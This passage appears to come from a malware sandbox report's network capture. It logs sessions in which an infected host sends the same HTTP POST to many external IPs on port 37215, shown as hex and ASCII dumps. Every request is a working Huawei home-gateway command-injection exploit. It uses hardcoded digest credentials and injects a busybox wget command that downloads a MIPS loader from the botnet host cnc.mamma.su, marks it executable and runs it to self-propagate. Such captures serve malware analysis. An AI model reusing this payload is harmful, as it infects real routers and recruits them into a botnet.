2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	39720	156.20.56.208	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581290007 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	36230	41.249.27.47	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581320047 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	58630	41.59.232.105	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581357002 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	55554	41.100.15.226	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581377029 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	51218	156.133.162.89	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581417084 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	47644	197.198.123.23	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581528902 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	35316	156.26.77.86	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581598043 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	42620	156.93.225.165	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581619978 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Aug 17, 2024 01:01:52.833347082 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	50276	41.120.250.149	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.581675053 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r 